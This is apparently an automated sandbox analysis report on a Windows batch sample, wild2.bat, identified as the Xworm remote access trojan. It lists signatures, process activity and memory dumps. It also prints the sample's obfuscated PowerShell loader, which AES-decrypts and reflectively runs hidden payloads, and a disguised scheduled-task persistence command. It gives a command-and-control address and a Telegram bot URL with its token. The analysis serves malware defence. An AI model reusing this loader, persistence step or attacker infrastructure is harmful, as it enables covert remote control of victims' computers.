Analysis
- max time kernel
137s - max time network
146s - platform
windows10-2004_x64 - resource
win10v2004-20240508-en - resource tags
- submitted
03/07/2024, 20:01
General
- Target wild2.bat
- Size 101KB
- Sample240703-yr1essxcnd
- SHA256 6e10dd12715347b79ddc3aaaa30be9b00548cf54f7b515e66e78f995b6412162
Malware Config
Extracted
-
xworm
-
142.202.242.177:7000
-
install_file
USB.exe
-
telegram
https://api.telegram.org/bot7086125226:AAHBCPyJPzMk3klDDrNR7WI_pR8VgcrX-rg/sendMessage?chat_id=5009918391
Signatures
- Detect Xworm Payload 1 IoCs
- Xworm
Xworm is a remote access trojan written in C#.
- Blocklisted process makes network request 5 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell and hide display window.
- Suspicious behavior: AddClipboardFormatListener 1 IoCs
- Suspicious behavior: EnumeratesProcesses 9 IoCs
- Suspicious use of AdjustPrivilegeToken 64 IoCs
- Suspicious use of SetWindowsHookEx 1 IoCs
- Suspicious use of WriteProcessMemory 10 IoCs
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\wild2.bat"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo cls;powershell -w hidden;function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::FromBase64String('7wFkEAMgT15IlR12QYdvYeiKFxGbAYX0oQI0LpFbKWU='); $aes_var.IV=[System.Convert]::FromBase64String('bGaT/qQXAZ1jwzjNeDyQCg=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $FNnBE=New-Object System.IO.MemoryStream(,$param_var); $AJjqG=New-Object System.IO.MemoryStream; $fbver=New-Object System.IO.Compression.GZipStream($FNnBE, [IO.Compression.CompressionMode]::Decompress); $fbver.CopyTo($AJjqG); $fbver.Dispose(); $FNnBE.Dispose(); $AJjqG.Dispose(); $AJjqG.ToArray();}function execute_function($param_var,$param2_var){ $QipFS=[System.Reflection.Assembly]::Load([byte[]]$param_var); $PhiBy=$QipFS.EntryPoint; $PhiBy.Invoke($null, $param2_var);}$VfwJS = 'C:\Users\Admin\AppData\Local\Temp\wild2.bat';$host.UI.RawUI.WindowTitle = $VfwJS;$CtScz=[System.IO.File]::ReadAllText($VfwJS).Split([Environment]::NewLine);foreach ($jbVyw in $CtScz) { if ($jbVyw.StartsWith('lxeWUjbreKgbBVHbyYLg')) { $SrUtu=$jbVyw.Substring(20); break; }}$payloads_var=[string[]]$SrUtu.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::FromBase64String($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::FromBase64String($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));$payload3_var=decompress_function (decrypt_function ([Convert]::FromBase64String($payloads_var[2].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var $null;execute_function $payload3_var (,[string[]] ('')); "2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"2⤵
- Blocklisted process makes network request
- Suspicious behavior: AddClipboardFormatListener
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" [Console]::Title = ((Get-ScheduledTask).Actions.Execute -join '').Contains('C:\Users\Admin\AppData\Local\Temp\wild2')3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'OneNote startup_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\SC.cmd') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
powershell.exe.log
StartupProfileData-NonInteractive
__PSScriptPolicyTest_z3ynkswj.5wa.ps1
memory/2400-24-0x00007FFC3E9F0000-0x00007FFC3F4B1000-memory.dmp
memory/2400-29-0x00007FFC3E9F0000-0x00007FFC3F4B1000-memory.dmp
memory/2400-26-0x00007FFC3E9F0000-0x00007FFC3F4B1000-memory.dmp
memory/2400-25-0x00007FFC3E9F0000-0x00007FFC3F4B1000-memory.dmp
memory/4144-13-0x000002721EDF0000-0x000002721EE34000-memory.dmp
memory/4144-33-0x00007FFC5B9F0000-0x00007FFC5BAAE000-memory.dmp
memory/4144-0-0x00007FFC3E9F3000-0x00007FFC3E9F5000-memory.dmp
memory/4144-12-0x00007FFC3E9F0000-0x00007FFC3F4B1000-memory.dmp
memory/4144-30-0x0000027205AB0000-0x0000027205AB8000-memory.dmp
memory/4144-31-0x000002721E070000-0x000002721E080000-memory.dmp
memory/4144-34-0x000002721E080000-0x000002721E094000-memory.dmp
memory/4144-14-0x000002721EEC0000-0x000002721EF36000-memory.dmp
memory/4144-32-0x00007FFC5CA70000-0x00007FFC5CC65000-memory.dmp
memory/4144-11-0x00007FFC3E9F0000-0x00007FFC3F4B1000-memory.dmp
memory/4144-6-0x0000027205A80000-0x0000027205AA2000-memory.dmp
memory/4144-58-0x000002721F2A0000-0x000002721F2B6000-memory.dmp
memory/4144-60-0x00007FFC3E9F3000-0x00007FFC3E9F5000-memory.dmp
memory/4144-61-0x00007FFC3E9F0000-0x00007FFC3F4B1000-memory.dmp